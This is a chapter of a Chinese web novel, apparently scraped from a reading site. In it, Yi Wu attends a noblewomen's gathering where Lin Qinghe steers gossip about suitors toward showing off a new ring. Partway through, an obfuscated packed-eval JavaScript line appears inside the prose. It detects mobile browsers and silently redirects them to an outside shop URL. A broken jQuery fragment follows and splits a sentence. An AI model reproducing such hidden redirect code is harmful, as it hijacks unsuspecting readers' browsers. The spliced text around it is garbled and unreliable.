第二天一早,易伍晨跑回来,就发现林宅门口停着一辆马车。
意料之外的,林清和不顾她想法,裹挟着还有些懵懂的易伍,吃早食、梳妆、出门。
等易伍反应过来的时候,她已经在去往林清和闺蜜间小聚的路上了。
“我还是不大明白,你们姐妹间聚会,要我去做什么?”
林清和满脸的为你好,显然是早就想好的说辞。
“你也不能老是呆在工坊呀,过几日就是踏青宴了,出来认识些人,在宴上你也自在些不是?”
“我也是可以不去踏青宴的呀。”
易伍无所谓的,反正她谁也不认识。
这下换林清和脸色不好了。
“你的帖子还不知道是谁求来的呢,宋大人亲自落款,哪里是能推辞的掉的。”
点了点易伍的额头,林清和也有些无奈。
宋荣亲自落款的请柬,就算是知州知府也是请得动的,更何况易伍这条不起眼的小鱼。
就算真有人在踏青宴上给他们挖了坑,为了祁宅这些人在钱塘郡还能有立足之地,他们也是要去量一量这坑的深浅的。
易伍更无奈了,她好像被卷进了奇怪的纷争中,每一步都被人算进去,偏她还挣扎不脱。
林清和以为易伍听进去了,继续向她介绍自己的小姐妹们。
用她的话说,这都是易伍在踏青宴横行霸道的资本,总能用得上的。
易伍:我也要横行霸道么?
清和:要的要的。
“宋令琬是他们那一房的长女,在家霸道惯了的,被人用好话捧坏了脑子,不过人不坏的,你见了就知道了。”
临下车前,易伍就只记住了这一句,然后就看到林清和将昨日刚出窑的渐变水芙蓉戒指套在了指头上,趾高气昂的在她之前下了车。
这场超小型聚会上还有两位,一位是儒林世家梅家的小姐,另一位则是商事遍地的顾家小姐。
在林清和的描述中,“不过人不坏的”这句话出场次数很高,听的易伍印象深刻。
等她真进了包厢,突然就领略了那句“人不坏”的含金量。
为了把易伍塞进自己的社交圈,林清和做了不少准备,简直把易伍夸得天上有地上无的,所以大家对她的态度都很好。
“这就是清和姐姐说的小鱼儿吧,可终于愿意带出来给我们认识认识了。”
一串好听的笑声后,是一位衣着华贵的女子,顾倚戈。
易伍眼睛在包厢里转了一圈,也就分清了林清和的三位好姐妹。
低头捂嘴笑的是梅家的梅雨眠,开朗大方的是顾倚戈,矜贵自持的就是宋令琬了。
易伍刚进包厢,大家的话题自然围着她,像出门前说好的那样,易伍只用吃喝,等林清和叫到她的时候配合着微笑就行,总之,一切都有林清和替她挡在前面。
只是,林清和将话题越带越偏,明明在马车上还因为易伍整日窝在工坊不高兴,这时候却又把工坊拿出来,将易伍吹上了天。
“你是不知道,我这妹妹旁的本事没有,画花样子可是一绝,就连工坊的老师傅都要夸她呢!”
卓清:别瞎说,我夸得可不是花样子。
易伍脸上的笑都有些维持不住了,看着林清和双手在几位闺蜜面前飞舞,她差点没忍住替那些贵女们问一句。
新产品么,真好看啊。
但很明显,这些贵女对林清和嘴里的“传奇传记”更感兴趣,对水芙蓉在眼前刷存在感这件事,丝毫不放在心上。
易伍都已经替林清和着急了,但林清和却像是没什么目的似的,聊完了小鱼儿的趣事,话题很丝滑的就过渡到了潘子衍身上。
“还不知道吧,苏州来人了,听说钱家闹成一团,潘家来的人差点没见到那纨绔的面呢……”
“怎闹得这么难看,苏州那边……”
没提到自己,易伍干脆就当背景音乐听了,毕竟这八卦实在离自己有点远了。
“还说呢,钱家已经放出话来了,说要在钱塘这边给他找个闺秀。”
宋令琬似乎并不喜欢潘子衍,提到他时满脸的嫌弃。
“找到钱塘来了?那他怕不是在苏州惹了不小的麻烦了。”
梅雨眠也皱起了眉头,好似没看到其他人脸色的变化。
“可不是吗!可惜就是他来的时间太不巧了,我家前脚要办踏青宴,他钱家后脚就放出了消息。
就这,已经有不少声音传到我这里了,若是我家这踏青宴的消息,再慢钱家一步,啧,简直不敢想。”
易伍嘴角向上翘了翘,果然,宋令琬这样年纪的闺秀,最操心的还是自己的婚嫁。
即使同出世家,子弟们也会良莠不齐,最差的大概就如潘子衍那样,斗鸡遛狗,招摇过市,却一事无成,门当户对的女子大多避之惟恐不及。
另一个极端当然是别人家的孩子,自小争气,读书出彩,礼仪相貌都让人挑不出错来,到了该婚配的年纪,大多都能找到一门合心意的。
钱塘郡大概也是有别人家的孩子的,但易伍来的时间短,本也不挂心这样的事,自然是不知道的。
姊妹们的话题很快又从潘家那个纨绔滑到了钱家。
钱家是有一位别人家的孩子的,钱斯年,虽然弱了林家那位连中二元的举人一头,在外却也是世家乘龙快婿的上上之选了。
“我正愁呢,请柬倒是送到了钱家,人家也客气的接了,但还不知道谁会去呢,若是落在了那纨绔手上,唉。”
宋令琬轻叹一口气,踏青宴本就是为她择婿的,钱塘不少有适龄男子的世家都收到了请柬,她这些日子最担心,也不过是她惦记的人不去赴宴。
作为姊妹团中年纪最长,同时也最活泼的林清和,听到这沾满了少女心事的话,笑声更大了。
“瞧瞧,这还是才开始相看,怎么就让令琬愁成这样子,等到钱家那位到汴京赶考,还不知道要怎么担心呢。”
林清和笑嘻嘻的领了宋令琬一个娇嗔的白眼,转眼又挤到了顾倚戈身边,佯装害怕的缩进她怀里。
“倚戈,你可要好好替咱令琬挑一挑,最好啊,将你家首饰铺子里压箱底的宝贝拿出来,好让钱家儿郎一眼就在人群中看到令琬,这才不辜负令琬这满腔期待不是。”
又遭了一回挤兑,即使是在熟人面前,宋令琬也羞红了脸,赶忙推脱。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752868|208858||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“清和姐姐说什么呢,我,我们…斯年公子哪里会看重容貌这些外相。”
林清和脸上的笑多了些意味深长,就连看向宋令琬的眼神都多了些说不清道不明的东西。
“可不嘛,是我肤浅了,不如斯年公子学富五车。
但是嘛,雨眠你来说,令琬这身是不是太素净了,这可是已经准备好了,要踏青宴那日穿的?”
易伍这才注意到,宋令琬今日一身衣服以淡雅的暗纹为主,浅黄浅绿的搭配,自有一股清新可人的味道在。
但看林清和那揶揄的语气,大概宋令琬日常喜欢的,不是这样的穿搭。
“快帮我看看,可还有什么不妥的,我那妆奁里有什么,你们也是知道的,凑了半月,也只有这些了。”
见话题终于到了自己的服饰,宋令琬难得的不再为林清和的揶揄红脸,反倒是添了股豁出去的豪情。
“倒是素净了,但钱塘难道还缺素净的姑娘么?”
梅雨眠满脸的嫌弃。
易伍也是这时候才发现,梅雨眠浑身上下色系统一,还挑的是庄重的深蓝色,只头上一根浅碧色的玉钗显得与众不同,但同时,也起了点睛之笔。
想来,宋令琬是早看到梅雨眠身上的玄机,听到她搭腔,眼睛都亮了两分。
“雨眠,你可有什么主意?我也怕太素净了不好呢。”
梅雨眠还在想该怎么给出意见,顾倚戈却在上下打量梅雨眠后恍然大悟。
“缺了个出彩的配饰!
我娘也说过,人穿衣裳和画画没什么区别的,有时候堆了满头的珠翠,反而没有一根素钗出彩,就是因为珠翠太多,人反而不知道看哪里了。
你这身是蜀锦吧,素净还不失清雅,只是在宴上,丢进人堆里,不显眼也是真的。
除非,除非……”
“除非什么,你倒是说呀!”
“除非你能让所有人都学你之前那样穿搭,大红大绿之中,只留你这一身浅淡的黄绿料子,可不就显出你的不同了!”
又是一句没什么营养的调笑,顾倚戈原就不是个注重衣饰的,哪里能在这方面给出意见。
说者无心,听者却有意,宋令琬陷入沉思。
踏青宴在即,顾倚戈的主意当然是没有可行性的,但用画画的角度考虑的话,她身上确实少了个足够让她出彩的亮点。
眼睛一转,宋令琬就将视线落在了易伍身上。
“清和姐姐,不是说你这妹妹最会画花样子么,不知道有没有什么新鲜花样,也让咱姐妹长长眼?”
冷不丁的被点名,坐在角落里的易伍差点没拿稳茶杯。
林清和脸上原本戏谑的笑早没了,换上的,则是满脸的不情愿,就好像这事有多为难似的。
但易伍看的清楚,林清和端茶的小指翘的高高的,明显心情好的不是一星半点。
太顺利,易伍忍不住感叹。
明明是奔着把东西送出去的心思来的,最后竟让客户主动提出要看看货。
看林清和如今的态度,宋令琬若不多求上两回,林清和怕是根本就没打算往外掏那戒指。
啧啧,这才是销售的最高境界吧。